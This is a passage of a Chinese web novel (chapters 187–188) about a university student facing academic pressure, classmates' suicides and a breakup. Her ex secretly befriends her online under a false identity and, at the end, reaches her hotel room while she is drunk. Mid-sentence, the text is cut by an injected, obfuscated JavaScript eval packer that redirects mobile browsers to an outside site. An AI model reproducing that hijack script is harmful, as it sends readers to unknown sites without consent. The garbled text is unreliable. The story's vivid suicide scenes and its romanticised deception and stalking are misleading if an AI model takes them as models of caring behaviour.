“嗯,你没那么残忍。所以去看看吧。”外婆点点头,“不来往是不来往,看望病人是看望病人,不冲突的。” 黄怀予没再笑了。她终究还是听了家家的话。刘子扬给她发了微信好友申请,黄怀予穿着羽绒服下去,看见刘子扬在门口等着。 他又长高了,浓眉大眼眉清目秀的,站在楼下还有路过的人会回头看他。三年没见了,他已经17岁了,实在已经是一个高高壮壮的小伙子。 三年前的那场宴席上,黄怀予当着所有亲戚的面对刘远说“祝你的儿子连高中都考不上”。三年过去了,刘子扬其实还是上了高中的,只是是楚门市一所很差的公立高中,校风很乱,男生女生谈恋爱打游戏,基本没人学习。 按理说两人身上流着一半一样的血,但是黄怀予觉得这个世界上应该也没有比她们俩之间更尴尬的姐弟关系了。他似乎是做了很久的心理准备才喊出来一声“姐”,眼神里透着诚恳,“我带你去医院,看看爸爸吧。” 楚门市中心医院,呼吸内科住院部。黄怀予看见刘远就那么躺在床上,比起三年之前简直是暴瘦,整张脸都凹了进去,脸色苍白,双眼浑浊蜡黄,仿佛苍老了二十岁。 “抽了几十年的烟,怎么说都不戒。本来一直是咳嗽,最近突然胸痛、咳血,医生说肺炎又复发了。但是前几天还一个人偷偷躲起来抽烟。”刘子扬语气很低落,黄怀予扯了扯嘴角,把手里的水果放在床头柜上,转身就离开了。 ——跟当年她外公一样,都是抽烟把肺抽出了毛病。她外公当年得了两个 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“丢东西?”黄怀予摇摇头,却见那女生脸色怪怪的,愁眉苦脸地说自己总是丢内衣内裤。以为是被风吹掉了,也没在意,但是在周围一问,好几个女生都说自己丢过。 每间寝室都是有一个小阳台的,一般来说大家都会把一些诸如内衣内裤的小衣服晾在阳台,然后大件衣服和杯子床单才会晾在楼下的公共晾衣区。 这个女生是住一楼的,而她询问过的那几个丢过内衣内裤的女生也都是住一楼的。公共晾衣区的衣服和被子床单都一件没少,但是在一楼寝室阳台的内衣内裤却接二连三地不见——黄怀予和那个女生对视一眼,其实两个人那一瞬间都想到了一些东西。 她皱了皱眉。有些话不用全部说出来,同为女性的对方就已经能够明白。 黄怀予和一楼几个丢过内衣内裤的女生一起商量着偷偷做了一个计划,几个人轮流蹲点,试验了一个星期。 ——然后,真的抓住了窃贼。 当时正是凌晨一点半,那人怕是偷成惯犯了,仗着夜黑风高无人在意,一点点遮挡措施都没做,大摇大摆地穿着拖鞋背心,戴着眼镜。手电筒的光扫过他的时候,他甚至完全呆住了,直到被几个女生合力扯住的时候才反应过来,开始剧烈挣扎,拼命往男生寝室那边跑。 他挣扎的力气太大,那几个女生有点拉不住,黄怀予立刻冲了过去,一脚就朝着他的裤/裆踹了过去,他惨叫一声跪在地上,被黄怀予一整个牢牢压在地上。 旁边有几个胆小瘦弱的女生虽然害怕但是仍然跑过来帮忙,紧紧按住他的四肢。还有女生全程举着手机录像,录得清清楚楚。 他手上还拎了一个袋子,打开一看,全都是刚刚偷下来的女士内衣内裤,各种款式和颜色全都有——人赃并获。 吵闹声终于吵醒了周围几栋寝室很多人,漆黑的寝室楼突然一个个地亮起了灯,许多人都打开窗户往下看,听见下面的女生喊“有变态偷内衣内裤”时,一楼二楼的女生全都穿了衣服跑下来帮忙,手机手电筒的光纷纷闪过。 …… 经管学院,金融系,王圣杰,就住在对面男生寝室三楼。 他的寝室衣柜里被搜出来好几大袋女士内衣内裤,打开的时候全都沾满不明液体。他的室友纷纷避而不谈,遮着脸不愿意出来说话作证。 社科学院和经管学院的辅导员半夜被电话叫醒处理这件事,社科学院和经管学院的女生全都群情激愤要求严肃处理。 学校迅速封锁了消息不准外传,下了通知先让当事人回家,拖延了一周都没有给出任何处理意见,最后在女学生们一起给教务处和校长信箱发信反复追问之下,才终于发出了正式通知——给了当事人一个处分,除此之外再无其他。 女生们愤怒无比,一个处分轻飘飘对他本人甚至没有任何影响,过段时间他依然可以回到学校上课考试顺利毕业。有新闻学院的女生帮忙艾特学校官方微博,去超话上发帖,但是帖子全部被删除,帐号也被炸掉。所有帮忙反映过问题的女生都被辅导员约着进行了线下谈话,旁敲侧击遮遮掩掩,话里话外都是希望大家不要再追究这件事,否则那个男生前途会被毁了的。 他的前途被毁? 难道他的前途不是被他自己毁的吗? 只有男人的前途才是前途吗? 黄怀予走在校园里,脚步沉重,突然涌上一股深深的无力和失望。她仰头看着天,她再一次深刻感觉到大学并不是她想象的那样——或许是,这个世界本身并不像她想象的那样。 是因为高中校园太美好了吗?黄怀予陡然一惊,她竟然已经觉得高中时代久远得像是上辈子的事。小镇的阳光,夹在地图册里的卫生巾,女生绑起来的马尾辫,堆得比头还高的书堆。高考倒计时仍然会在她的梦里出现,朦胧模糊,嘈杂湿热,笼罩着一层虚幻的乌托邦般的理想主义。 她想要一个公平,想要为这件事里的所有女生都要回一个公平,只是这个理想就像脚下的这条路一样,没有尽头。它漫长,崎岖,充满荆棘。 187. 第 187 章 大三上学期到了。 所有想要保研的人全部都开始极其认真努力地学习,打起了十二分的精神去应对课程,老师说交六千字论文,就交上去一万字,老师说PPT展示时间不超过15分钟,就做三四十页。 每一分都会成为组成绩点的标准,哪怕是零点几分的差距也依然是屈居人后,名额只有那么几个,只能保证自己不断地去追。 英语四六级需要考到高分,专业课和通识课需要学习查资料,论文和小组讨论需要看大量文献——因此图书馆人潮拥挤,位置需要提前预定才能抢到。 课上保证绩点,课下到处寻找资源人脉凑着手里的项目。十二月马上又要申请奖学金,拿到的人又可以在综测上有所加分,这几乎又是一场没有硝烟的战争。 黄怀予每天忙得脚不沾地,早起晚睡,几乎没有怎么休息过。 十二月,奖学金评比结束。在多人的共同竞争之下,最后韦真拿到了奖学金。这件事引起了曹康裕的极大不满,他再次去找了辅导员何文,根据学院规则一条一条比对说韦真哪里有违反规定,足足列出了二十几条,想让学院取消韦真的奖学金资格。两人再次对峙起来。 这样剑拔弩张的班级气氛总会让人不安和心情低落。 黄怀予和戚天住在同一个寝室,两人的状态其实差不多,白天晚上都在学习,不敢走错一步。戚天每天都压力很大,她偶尔也会找黄怀予聊天。她对农村研究感兴趣,而黄怀予说自己以后想读性别研究。两人各自有规划,各自走着自己的路。 两人是竞争对手,住在同一屋檐下就会开始不由自主以对方为对照,默默比较对方今天学了多久而自己今天学了多久;却也正是因为处于一样的环境和系统里,而足够能推己及人,体会到那种沉闷默然的空气里弥漫着的几乎可以把人逼疯的压迫感,在对方快要崩溃的时候站在一边递上纸巾。 某天黄怀予回到寝室,撞见戚天沉重的脸。 “听说,经管院有人跳楼了。” 黄怀予一愣,指尖冰凉,她听见自己问:“为什么?” “没拿到奖学金。也许是觉得自己保研无望了。家长逼迫,同学也在竞争,老师也无力调解。”戚天低头说着,几乎是半句半句往外蹦的。说到最后她也说不下去了,两个人面对面站着,全都陷入沉默。 …… 黄怀予几乎每周都会和吴如冬联系。 吴如冬虽然和她不在一个学校,但是此时大三的时候她也正处于保研关键期,周围环境竟然和黄怀予这边出奇地一样——竞争的竞争,学习的学习,跳楼的跳楼。 她说她好累,她其实根本不想读研究生,她已经递了简历准备去公司实习,只是父母一直不同意,两方就一直这样僵持着。 所有的压力在家长那里都变成了无病呻吟,所有的痛苦在家长那里都变成了矫揉造作。你累了就是别人也一样累,你哭了就是你抗压能力太弱,你害怕就是你太懒。有人跳楼了就是那人太蠢你不能学,发生了黑暗的事情就是社会本就如此你只用管好自己。 黄怀予安慰着吴如冬,也安慰着戚天,只是这些安慰的话她可以说得出口拯救别人,却无法再咽回去拯救自己。 她深夜大段大段地给5.5发消息,一边发一边哭。5.5每一句都有回复,每一句都安慰,每一句都说“我陪你”。她哭着睡着,醒来之后是凌晨六点,发消息过去,5.5竟然秒回一句“我在,别怕”。 她给苏琬打电话,周末被苏琬拉着出来吃烧烤,两个人静静地抱在一起。每周她都会莫名其妙收到各种快递,然后谷奕的电话就打过来,轻飘飘漫不经心地说自己帮她清了购物车。 她情绪越来越脆弱,脑子越来越昏沉,她感念5.5,感念苏琬,感念谷奕,所有在她此时脆弱的时候给予了帮助的人,她都本能地产生了无限依赖。她突然意识到,这个世界很大很繁杂,但是她其实想要的,只是这些她爱的人都能陪在她身边。 * 无论今天有没有课,戚天都铁打不动会在早晨七点起床,去图书馆门口的角落背专业课知识。 脑子还未清醒,浑浑噩噩,江城冬日的风刮在脸上像刀子一样,校园里空气中满是清新的晨露味道,街上空荡无人。 戚天背着书包,微微阖上眼睛,手里拿着啃了一半的面包,脑子里还想着今天要做的todolist。过段时间要开始投夏令营了,专业课书籍还没背完,六级不确定还要不要刷分,老师帮自己投的论文还没有下文。她每天的脚步都是一样沉重。 走到图书馆侧门的小角落里,周围安静一片。 她正要像往常一样穿过这条小路走过去,抬头,却发现前方高高的门头上,似乎悬挂着什么东西。 竖直的一条,在清晨的冬风里微微晃来晃去。 她感到奇怪,一边吃着面包,一边往前走,直接走到了那个东西正下方,往上看。 面包“啪——”地掉在了地上。 一具尸体,脖子上拴着麻绳,悬挂着吊在门上,舌头被扯了出来,挂得极长,一直垂到了脖颈处。微风吹过,这具同校同学的尸体就这样在戚天眼前晃晃悠悠。 …… 黄怀予收到消息赶过来的时候,戚天整个人都像是疯了一般不停地哭。 尸体已经被拉走了,图书馆侧门已经被围了起来禁止通行,尸体被发现的地方做了一圈红色标记,来来往往所有人沉默地围观着这条红色的生命痕迹,又只能沉默地散去。 侧门不让走了,大家就走正门,图书馆是要来的,书是要背的,题是要做的。大家做不了什么,大家和死掉的同学也只有一步之遥。 辅导员把黄怀予和其他两个室友拉到一边,语气严肃地说戚天状态不好,你们几个作为她的室友一定要认真小心对待,一旦发现有任何不对就第一时间给辅导员打电话,平时在寝室里千万不要说什么学习考试保研奖学金之类的话了。 戚天回来以后成宿成宿地哭。 她睡不着,怎样都睡不着,凌晨三点半大家都还能听见她压抑的哭声从黑暗里传来,窒息的感觉像是乌云压顶一般笼罩在整个寝室上空。 她哭了三天三夜,也失眠了三天三夜。直到第四天,黄怀予和舍友发现已经晚上十一点了戚天还没有回寝室,电话也不接,于是迅速去了天台寻找,果然在漆黑寒冷的八楼天台上找到了她。 她满脸都是泪水,眼睛里全是红血丝,头发散乱,衣衫皱褶,蹲在肮脏的地上。她再往前一步,脚边就是江城大学9号宿舍区八层楼高的空气,下一秒就会掉下去摔得粉身碎骨。 她哭着说:“我想睡觉。” “救救我,帮帮我。” “我要回家……妈妈,妈妈!” 黄怀予跑上前一把拉住她,舍友拨通了辅导员的电话。第二天,戚天就被她的家长接回家了。 辅导员给她请了一个月的假。戚天不同意,说一个月太长,会落下很多课程和学习内容,最终在辅导员的再三坚持下才减少到了半个月。 临走之前,戚天整个人安静了许多,眼下乌黑明显,眼神有些呆滞。直到要离开宿舍,她突然转过身,有些急切地对黄怀予说: “你能不能帮我和各位老师说一下,就说,就说我只是暂时生病了,希望各位老师不要因为我请假就扣我的课程平时分,好吗?” “考试我一定会参加的,论文我也一定会按时交!求求老师们不要扣我的分,如果我的绩点降低,那一切都完了!我保证,半个月后我就回来!” 她眼里都是哀求,她低声对黄怀予说:“麻烦你了。我知道,你懂我的意思的。” 黄怀予确实懂她的意思。 她去找了每一位课程老师,甚至还去找了戚天自己的选修课的老师,帮自己的室友一门一门说明清楚情况。黄怀予尽力说明戚天的心理状态,说明了戚天极力想要避免落下课程的急切,说明了戚天不想绩点被拉低的愿望。 其实何止黄怀予懂呢?每位老师都懂。 教室外冷风凛冽呼啸,残月如霜,从窗户外伸进来一枝枯萎凋敝的树枝。黄怀予抱着书走在教学楼的走廊上,她盯着窗外漆黑暗淡的夜色,她突然也好想直接从这里跳下去,什么都不管不顾地直接跳下去,这样会不会就可以拥有自由? * 又是一年寒假过去。2021年,大三下学期到了。 累积到现在的绩点排名中,金钰第1名,黄怀予第2名,戚天第3名,韦真第7名,曹康裕第12名。保研名额会在整个学院中进行分配,而按照上一届的经验,每个班只会有2到3个保研名额。 曹康裕虽然成绩排名一般,但是他跟辅导员的关系极好,平时也混迹于学院的各项事务里,手上拿了不少一线资源,因此完全不觉得自己没机会,反而觉得自己可以靠着各种综测加分超过竞争对手。 他借着帮辅导员整理资料的名义,偷偷查看了所有人的每一科成绩,最后竟然发现,韦真在大一下学期的一节体育课成绩竟然没及格!未及格属于挂科,挂科的学生根本没有资格拿到保研名额,所以之后一切的竞争、学习、综测都是毫无意义的。 而韦真却依然在表面上装得云淡风轻,说自己已经收到了好几所高校的夏令营入营通知,说自己手上又有某某项目可以帮助自己获得综测加分,每次发朋友圈下面都有一群学弟学妹捧着说 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那条动态里一起吃火锅的足足有七八个女生,锅也并不是黄怀予的,而且事情发生在大一,现在那个锅也早就被锅的主人也扔掉了。可是韦真抓住这件事不放,把那条动态内容打印下来作为直接证据,态度极其强硬,一定要辅导员秉公处理。 七八个女生里只有黄怀予有机会拿到保研名额,所有人都知道,这个举报就是专门针对黄怀予而来的。辅导员左右为难,纠结良久,无奈韦真硬是拿着学校的规定和硬性证据不依不饶了一个星期,最终辅导员只能败下阵来,给黄怀予记了过。 黄怀予失去了保研资格。 …… 从辅导员办公室出来的时候,黄怀予以为自己会情绪激动,可是并没有。 ——她竟然有一种终于解脱了的感觉。 戚天已经重新回到学校了。她对于这件事情极其愤怒,给黄怀予出主意,让黄怀予直接给辅导员打电话装抑郁,哭诉说如果不能保研就上天台自杀,看谁斗得过谁。 黄怀予失笑,说你是从你自己的经历里得到的灵感吗?戚天却一脸认真地点点头,像是卓别林《摩登时代》里默片的黑色幽默。 之前生了那场病之后,戚天似乎成长了,她好像意识到这个世界就是这样,如果能够坚持着不被毁灭,并且还想要挣扎着活下去的话,就只能利用规则达到自己的目的。 ——可是黄怀予竟然累到觉得这一切都很没有意义。 她浑浑噩噩走在街上,呼吸着早春江城还带着一点寒意的风。 春天到了,江城的春天和秋天都舒适而珍贵,空气里飘着花香,迎面走来许多穿着汉服的漂亮女生,说说笑笑,挽着手,一起去樱花树下拍照。 她们像蝴蝶一样,翩翩然从黄怀予身边走过。 黄怀予骤然停住脚步,情不自禁回头望——望向她们的背影,欢声笑语,裙子荡起漂亮的涟漪,远处的粉色花瓣汇成一片花的海洋,两个女孩走入春天的花海里,那一幕像是梦境一般美丽。 ……黄怀予木然呆滞地站在原地。 她只觉得那一刻好像什么声音也听不见了,世界天旋地转,她脑子里闪过无数青春的泛黄的画面。 “那就说好了。我们三个人,高中毕业旅行。要,一起陪我去长城看星星。” “高三在天台上躺着看两个小时的星星,这件事本身就已经足够浪漫了。但是,也许在她这短暂的无聊的像沙丁鱼一样的一生中,再也不会有这样的两个小时了。” “我要——超过齐龙飞!”“那我……江大法学院。”“考上一本!最好在江城。” “楚门六月份的太阳热烈烈地照耀,林潇潇、杨捷、苏琬和黄怀予拍了一堆照片,倘若时空也可以这样定格在2018年的夏天,倘若世界也可以一直等待她们飞翔。” “她看着来自于五湖四海的同龄人聚集在一起载歌载舞,每个人的脸上都带着笑,无人害羞无人害怕,音乐声像是要一直响到天边,像是一直要响到世界尽头。她心想,这就是她想象中的大学吧?” “周围绿色的草丛在晚风中微微摇晃,吉他声是最好的背景音乐,人群的喧闹是最令人安心的氛围,两个女孩身上都带着不可一世的幼兽感,这个世界好像光明磊落,好像已经准备好给她们这一代的青年人开疆拓土的舞台。” …… 18岁的黄怀予好像已经死在江城短暂的春天里了。她被埋葬在樱花树下。春风是她的陪葬,蓝天是她的墓志铭,她的遗愿是她想自由飞翔,改变世界。 现在是2021年。 黄怀予站在喧闹的街道上,周围人群来来往往。她遥遥看着前方那片粉色的花海,蹲下身,抱住自己的膝盖。沉痛压抑的哭声一点点溢出来。 188. 第 188 章 黄怀予不知道自己该用什么状态生活下去了。 考研?考得上吗?又是一次和高考一样的千军万马过独木桥,只是这一次要孤军奋战,失败就只能从头再来一年。 工作?她每一个假期都在做研究和学术项目,一次实习经历都没有。就业市场如此低迷,无数研究生都找不到工作,她一个没有任何实习经验的本科生不是更加艰难吗?什么大厂,什么优化,什么ROI,什么无领导小组面试,河的对岸还是河,她觉得自己好像永远在水上漂着,永远对未来有着恐惧。 更何况——她想,那些深夜埋头写论文、学理论的时光好像是为数不多的快乐回忆了,她是真的想继续读书的,继续探索她感兴趣的领域的,不是吗? 黄怀予坐在电脑前,开始一步步查资料。她觉得此时自己无比冷静,像一个机器人。她把能走的几条路全部都列了下来,一个个分析,优点缺点,喜欢厌恶,成本收益,影响后果……最后留在纸上的,除了考研,就是出国留学。 笔尖停留在“出国”这两个字上几秒钟,她继续开始查资料,把几个国家地区和几种研究生类型全部查清楚了,最后把所有花费归结成了几个数字。 她拿出手机,拨通了外婆的电话。 她只想要一个说法,一个回答。家里有钱,就去。家里没钱,或者只要没那么多钱,有任何一点点的为难、犹豫,她就不去。 她给自己加油打气,电话拨通之前心情还很平静,她想她只是想要一个可以决定结果的客观条件,成与不成她都接受。 可是当电话接通,外婆带着点苍老的声音从电话那头传来的时候,黄怀予那一刻竟然下意识攥紧了拳头,忍耐着快要流泪的涩意。 “哦,我当什么事呢。” 老太太似乎是在家里看电视,农村题材,家长里短,伦理亲情。她声音很是随意,带着点沙哑,时不时咳嗽两声。 “你说最多25万是吧?不就25万吗?家家有。” 黄怀予愣住了。 她半晌才听见自己的声音,有些嘶哑,颤抖着问:“可是我妈之前在我高三的时候还欠了十几万的债……”她说不下去了,她想起了高三的时候一边在教学楼的天台上背历史,一边接到妈妈电话时候的场景。 那些日子真的很难熬,她也许可以承载无数学业上的艰难,但是她无法承受家庭的背离,她那个时候只是一个18岁的手无缚鸡之力的穷学生,她穷得只剩知识,她没有任何力气应对金钱带来的副作用。 电话那头停顿了一下,外婆似乎是轻叹了一声。 “唉。” “她的债,她自己慢慢还呗。” “黄怀予啊,你是我养大的。你是我最宝贝的,你是我最大的希望,唯一的指望,我这辈子只爱你一个人。” “不就是25万吗?出国,多好的事啊,我孙女出国读书,我高兴啊。” “你哭了?你别哭啊,黄怀予。别哭,你是不是最近遇到什么事了?在学校里还好吗?学习好吗,和班上同学关系好吗,成绩好吗?” “别哭啊,没事啊。你忘啦?你以前不是最想当第一名的吗?你初中的时候就老是跟我说,你说家家我一定要当第一名,你现在怎么啦?被打趴下啦?” “被打趴下也没事啊。你忘了之前你们高三百日誓师那天,家家跟你说什么啦?家家说,不管你是不是第一名,你都是我心里的骄傲。孩子,家家不在乎这个。你的人生哪有那么多的输赢?不用和别人比,和自己比。” “去吧。去读吧。放心,有钱。” 窗外阳光照进来,照在她的脸上。这阳光仿佛是2012年楚门的阳光,什么保研、出国、绩点、加分,什么乱七八糟的?她好像只是做了一场梦,她好像正蹦蹦跳跳背着书包坐着公交车回家看《欢天喜地七仙女》。 那个时候还没有智能手机,天是灰蓝色的,楚港区小巷门口还有着葱油饼的香气,胡奶奶胡爹爹还没有生病,每天坐在巷口,对她打招呼。小卖部柜台上放着绿箭口香糖,透明窗户玻璃上贴着蓝色的膜,苏琬在楼下喊她下来抓蚯蚓。 碧绿的叶,青葱的树,红砖的楼,尚还年轻的外婆外公,天真幼稚的青春期。 泪水滴在纸上,刚刚她写下的所有成本收益都被氤氲模糊。梦醒了,她意识到成长是对一种对过去的愚蠢诀别,是被滔天的浪潮向前推着的孤舟,她一字一字写下对过去的诀别书,细碎的梦境碎片像潮水一般褪去,她醒了,醒在2021年江城大学空无一人的四人寝里,被折磨得遍体鳞伤,神思恍惚,周围无人,只剩寥落。 * 五月。黄怀予开始准备雅思。 没课的时候,黄怀予干脆背着电脑去胜家酒店八层。整层全是空的,当初谷奕早就已经包下了整个第八层,只有他们四个人的卡才有权限能上来。她刷卡上去,随便找了一个房间住着备考。 谷奕苏琬几乎每周都会来陪她,拉着她吃宵夜玩会儿游戏,让她心情变得好点。 备考期间,她情绪倒是很平静。也许是因为总算不用和班里其他人竞争保研名额了,她整个人都跟着轻松了起来。 还有一个原因,是她有一个赛博电子树洞。 每天做了几篇阅读,听了几场听力课,练了多久的口语,都会在晚上给那位网友报告。每天遇见了什么人,解决了什么困难,她也能没有任何心理负担地去倾诉。 她无话不谈,她觉得自己不是在孤军奋战,这条路上还有人陪她一起。那人完全没有任何功利主义的目标,那人并不和她一样有备考或者升学需求,那人只是愿意这样陪着她,听她深夜的每一句牢骚和抱怨,听她每一声脆弱和痛苦,然后,沉默地接纳,温柔地包容,可靠地告诉她“我在”。 “你知道吗。其实你很像一个人。” 做完了今天的题,服务员送来了一点酒,她躺在床上,醉意朦胧之下,她打下这行字发送过去。 “你很像他。” “他也经常对我说,别怕,我在。” 这句话发出去,黄怀予突然鼻子酸了,她很没出息地用手背擦掉眼泪,长久的高压学习环境让她涌起一股没滋没味的委屈,她恶狠狠地打字,“真讨厌。都分手一年多了,居然还会想到他。” 对面突然回复: “讨厌他吗。” 黄怀予撇撇嘴,酒精让她的脑子模糊一片。 “对!就是讨厌他!他真讨厌,总会在各种不经意的时候在我脑子里转来转去。一年多了,明明这一年多里,我拼命学习、考试,脑子里全都是竞争和前途,我以为用这些就可以完全麻痹自己,让自己不去想他……可是我错了。” “我越逼着自己去走上工具理性的路,我就越想他。” “你知道吗,他长得真的很帅。皮肤很白,身上一层薄薄的肌肉,又高又瘦。声音也好听,手也好看,每天都对我笑。最好看的是他的眼睛,一眨一眨的,亮闪闪的。” 打字打到这里,眼泪突然毫无预兆地流了出来。 她一个字母一个字母地打字,“我想他。” 她点开语音条,声音里夹杂着浓重的鼻音,睫毛上蹭着泪珠,抽泣着开口,“我想他了。” 这条语音发过去,手机突然狂震,黄怀予醉眼迷蒙中看见对面直接一个语音电话给自己拨了过来。 “……喂?”喝醉酒的女孩声音有点沙哑,带着点娇气,还有刚刚哭过的浓重鼻音,声音拖得长长的。 黄怀予感觉到,她就说了一个喂,对面的呼吸好像就乱了。 床头柜上放着没喝完的酒,她坐起来一仰头全都咕嘟嘟喝完了。脸上红得发烫,心跳声越来越快,浑身都变得热了起来。 黄怀予觉得自己脑子可能出问题了,因为她竟然听见手机里传出了楚恒的声音。 低沉的,压抑着什么强烈的情感和欲望,哑得吓人。 “现在,还是想他吗。” 咦,奇怪了,5.5不是个女生吗? 而且,5.5不是说自己社恐,从来都不同意跟她打电话吗? 黄怀予脑子都发沉,说实话她现在连看手机都是重影的。听筒里传出的男声低沉有磁性,一点点钻进她耳朵里,像是勾着什么东西,钻心地痒。 她像个小孩子一样诚实听话地点头,又想到对面看不见她点头,于是又“嗯”了一声,语气里带着自己都没意识到的撒娇。 “想……想他。” 她喘着气说:“你的声音,和他好像啊。” “楚恒。” 一年多了,她终于轻声喊出了他的名字,短短两个字在她嘴里像是加了一层反复的缱绻的味道。 “想他什么?”听筒里的男声语气温柔,带着点诱哄的意味。 黄怀予果然乖乖上钩了,眨着迷离的眼睛,说:“想抱他。” “嗯。”对面像是呼吸一下子重了很多,哑着嗓子问,“还有吗?” “还有……”她努力思考着,“想亲他。” 她补充一句,“伸舌头的那种。” 对面突然停住动作,几秒之后才带着点无奈的笑,“你真的一点都没变。” 深重地喘了两声,对面温柔地说:“困了就睡吧。” “等会,在梦里,就可以见到他了。” 真的吗?还有这样的好梦? 黄怀予迷迷糊糊地想。但是这人的声音太好听了,黄怀予不由自主地就会相信他说的所有话,眼皮真的越来越沉重,困意真的越来越明显,酒精上头,她慢慢睡了过去。 …… 江城胜家酒店。 电梯亮了,稳稳停在这个只有四个人才有权限可以上来的第八层。 一个高高瘦瘦的男人,手里拿着一张卡,穿着连帽衫,帽子一直往上包住整个头,戴着口罩,黑发垂下,脸被遮得严严实实。 他一步步往前走,直到走到一间房门口,停住脚步。 骨节分明的手划过门锁,修长的手指不自觉敲了一下门把手,却迟迟不动。 到了眼下这一步,楚恒竟然生出一丝胆怯。 这是分手后的第452天。 为什么会记得这么清楚?等到楚恒意识到这一点的时候才稍有停滞,因为他以前从来不看时间的。他觉得没意义,反正人生就这么过去,如何过都是一天,睁眼就是千篇一律,生活像鱼缸里的水一样单调浑浊,帝都的天总是阴沉沉的,抬头只能看见黑夜中一轮冷月。 楚恒至今都还记得2017年8月31号的那天早上。云省,云省一个叫楚门的小城市,以及楚门一中门口的那家早餐店。有的时候他会想,人应该相信命运吗?他一直是一个运气很不好的人,高中退学去当练习生,被队友霸凌排挤,事业没有进步,生活也一团乱麻。 也许他此生中最好的运气,都用在了2017年8月31号的那一天。 2020年春节,他一个人在江城长江边呆了整整一夜。 江水滚滚向前,细雪飘散,他冷肃的身子在雪夜里纹丝不动,周身被江城冷寒阴湿的夜沁满,像是一座冰雕。 “楚恒,我们一辈子都在一起吧。” “你不应该相信的。我骗你的。” 江城的那两场雪,好像一直没有停下,一直在他心里下着。延绵不断,漫天风声,铺天盖地包围住整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654001|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个世界。 转身去了车站,一小时的颠簸之后,他人已经来到楚门一中门口。正值寒假,就算是再管理严格的高三也已经放假了。整个学校空无一人。 他一步步走到那家早餐店门口,小巷,街角,蹲下来。脚边是一只大黄狗,正趴在地上,恹恹地阖着眼,懒洋洋地吹着冷风。 ——人应该相信命运吗?楚恒蹲下身,低头看着脚边这只被叫做“小楚”的狗,在心里问自己。看来,他和这只狗还真是很像啊。楚恒买了根火腿肠,喂着它一点点吃了下去。 “跟我走吧。”他说。 梁吟东不知道为什么楚恒带了一只狗回了帝都。很普通的狗,应该是中华田园犬,没什么特别,年纪也不小了。那股耷拉的劲儿,倒是有点像现在的楚恒。 但是梁吟东没问。因为比起那只狗,楚恒被分手了这件事才更值得注意。——她仔细地小心翼翼地观察着楚恒的一切生活状态,嘱咐助理小心看护,家里和公司里任何尖锐物品都要收起来,不准提那个名字,不准提与那个人有关的一切,每周都要监督楚恒去看心理医生、按时吃药,每周的测试结果都要给梁吟东报告。 楚恒微博一夜之间掉粉快八十万,好几个代言也没了,聊好的几部音综邀请也没了下文。意料之中的事情,这个圈子就是这样,成功了以后身边全是好人,失败了以后身边全是坏人。 梁吟东习惯了,开始稳定地善后。她给楚恒放了个长假,以工作室官方角度道歉,承认了恋情并希望大家不要传播女方信息。按照她的经验,真诚正面面对,等待风口浪尖过去,之后还有机会。娱乐圈一天一小事,一月一大事,什么事都显得没那么奇怪了。 偷拍事件报了警,梁吟东请了帝都最好的律师,顾安被逮捕之后,所有照片全都销毁了。而已经流出的照片也已经被删了——她还在想是谁干的,老同事明红的电话就已经打了过来,得意洋洋地说这种事还是我擅长。不用回报,这是我家小瑾私人要求,她跟你家楚恒女朋友有交情。钱是小瑾出的,我属于帮她办事。 梁吟东失笑。那小姑娘还真是意料之中的人缘好,让沈一瑾都愿意自己出钱帮她。也不意外,毕竟她是个很好的人。想到这里,突然又如鲠在喉,想到她决绝的分手决定,唯余一声叹息。 小宋突然说有客人来访,一看来人,梁吟东愣怔地眯了眯眼。竟然是钱明哲。 他这几年在新娱也不好过。之前偏向赵焰,自从赵焰flop之后,就和顾安、陈影一样终日惶惶,没工作也没机会,只能熬着等待合约到期,想办法另谋出路。 他比起前几年瘦了很多,包得很严实,喊了她一声梁姐,递上来一个U盘。 “这是我这几年收集的一些东西。是新娱的一些旧事。有当年李鸣月那个性骚扰的事件,有赵焰霸凌楚恒的一些证据。您自己看吧。对楚恒现在的舆论状态来说,把这些内容放出去,也许可以吸引一些别的火力在新娱上,减少一些对楚恒和东吟公司的负面影响。” 钱明哲年纪在整个STAR里是最小的,他此时才18岁,台前人设是天真的弟弟,可是他从来都成熟得不像这个年纪,极其会审时度势。他此刻神色平静,用一种冷静到极点的语气对梁吟东一字一句讲着利害关系。 “当年的事,我确实帮了赵焰,我不否认,也没有希望你们能够原谅我。还有一年,我和新娱的合约就到期了。我还不准备放弃当艺人这条路,所以我的期望也很简单,只要您和楚恒能记得我今天送出来的这个U盘,日后不为难我,我就已经很知足了。” 梁吟东神色复杂地看着他离开的背影和桌上静静躺着的那个U盘,脑中浮现出当年STAR未出道前14岁的钱明哲眨着眼睛说自己要当大明星的稚嫩样子,竟有一丝恍惚。 U盘里的内容终究还是没用上。梁吟东不想又把李鸣月当年的事情扯出来重新放在大众面前公示一遍,当事人都已经各自安好开启新生活了,该过去的,一定会过去。至于吸引公众火力以减小对东吟公司的影响…… 从整个东吟公司的角度来看,楚恒即使不工作,写了那么多歌的版权费也是一笔极其稳定的收入;东吟公司这几年新人辈出,尽管少了楚恒这个中流砥柱,却仍然有新人抵上,整个事件的负面影响并没有那么大。 她站在办公室巨大的落地窗前,看着窗外帝都阴黑的天色,她想,也许这件事最大的负面影响,就是导致了黄怀予和楚恒的分手。 …… 日子一天天过去,那只叫小楚的狗在精心喂养下越来越精神,每天撒着欢跑。它在地板上打滚,在脚边蹭着楚恒。 楚恒低头看它,把手机放在桌子上,手边是和“CUP12345678”的聊天记录。他注册了一个新的微信号,名字叫5.5hours,和她加上了微信,用来当她的专属网友。 她说,她现在每天都过得很痛苦。 她说,学习很忙,压力很大。 她说,她失恋了,心情不好。 她说,她觉得18岁的自己好像死掉了。她终于发现她不是精英,她不是世界的中心,她对一切都无能为力。以前相信自己可以改变世界,可是现在却觉得,自己能够不被世界改变就已经很不容易了。 她说,她越逼着自己去走上工具理性的路,她就越想他。 ——“我想他了。”一条语音发过来,哭唧唧的语气,声音沙哑,带着点不自知的撒娇意味,尾音拖得很长,缠人得紧,像一只小手不停地轻挠他的心,勾得楚恒着魔般上了江城胜家酒店的电梯。 